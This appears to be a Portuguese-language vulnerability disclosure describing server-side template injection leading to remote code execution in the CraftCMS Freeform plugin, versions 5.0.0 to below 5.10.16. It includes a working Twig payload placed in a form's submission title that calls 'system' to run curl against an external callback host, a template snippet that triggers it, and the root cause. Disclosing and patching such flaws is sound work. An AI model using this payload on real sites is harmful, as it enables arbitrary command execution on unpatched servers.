
Injeção arbitrária de código em CraftCMS Freeform 5.0.0 < 5.10.16
CraftCMS Freeform contém uma vulnerabilidade SSTI, resultando em injeção arbitrária de código para todos os utilizadores que têm acesso à edição de um formulário (título de submissão).
As versões vulneráveis são v5.0.0 < v5.10.16.
Crie um formulário:

Criei o formulário "pentest" aqui como prova de conceito. Em seguida, nas configurações, defina o seguinte título de submissão (altere o nome do domínio para o seu próprio servidor):
{{ 'system' | call('curl http://gwgyynafr4feu5xecukf1h2nqew5kw8l.oastify.com/rce') }}

Isso executará uma chamada de sistema arbitrária. Neste caso, realizo um curl para um servidor controlado que me notificará em caso de conexões recebidas. Em seguida, inclua este formulário em um template/página e submeta-o:
<h1>test</h1>
{% set form = freeform.form('pentest') %}
{% if form %}
{{ form.render() }}
{% else %}
<p>Form not found.</p>
{% endif %}
Isso terá chamado o comando curl. Podemos verificar isso observando a requisição HTTP recebida que foi criada:

A causa raiz deste problema é que o Freeform implementa o filtro "call" do Twig sem validar a entrada do utilizador. Isso foi corrigido no seguinte commit.